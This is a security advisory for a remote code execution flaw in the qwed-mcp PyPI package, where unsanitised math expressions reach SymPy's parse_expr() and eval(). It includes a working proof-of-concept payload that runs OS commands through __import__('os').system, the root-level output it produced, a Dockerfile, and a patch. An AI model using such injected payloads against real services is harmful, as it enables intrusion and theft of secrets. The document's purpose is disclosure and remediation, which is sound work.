All vulnerabilities
CRITICALSupply chain

CVE-2026-55546

PyPI · qwed-mcp

Summary

qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input

Advisory details

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)
# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

  1. Sourcemath_engine.py:13-16: external caller supplies expression and claimed_result.
  2. Propagationmath_engine.py:50-54: expression substituted and forwarded to parse_expr().
  3. Propagationmath_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
  4. Sinksympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.

Remediation

Apply AST allowlisting and restrict global_dict before every parse_expr() call:

--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
 import logging
+import ast
 from typing import Optional

+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+    ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+    ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+    ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+    tree = ast.parse(expr.replace("^", "**"), mode="eval")
+    for node in ast.walk(tree):
+        if not isinstance(node, ALLOWED_AST):
+            raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+        if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+            raise ValueError(f"Unsupported symbol: {node.id}")
+        if isinstance(node, ast.Call):
+            if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+                raise ValueError("Only approved math functions are allowed")
+        if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+            raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
-            expr = parse_expr(
+            _validate_math_syntax(expression)
+            expr = parse_expr(
                 expression.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )
-            claimed = parse_expr(
+            _validate_math_syntax(claimed_result)
+            claimed = parse_expr(
                 claimed_result.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )

Impact

Any caller that passes attacker-controlled input to verify_math_expression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:

  • Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).
  • Read, write, or delete files accessible to the process.
  • Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.
  • Pivot to internal services reachable from the host.

The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verify_math_expression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

LABEL vuln="VULN-001" \
      title="Unsafe SymPy parse_expr() RCE" \
      cwe="CWE-94" \
      target="QWED-AI/qwed-mcp@0.2.0"

WORKDIR /app

# Copy only the package source tree from the cloned repo.
# math_engine.py only imports sympy at runtime; full project deps
# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src

# Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"

# Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py

# Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src

CMD ["python3", "/app/poc.py"]

poc.py

"""
VULN-001 Proof of Concept
=========================
Target  : QWED-AI/qwed-mcp v0.2.0
Module  : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)

Root cause
--------

References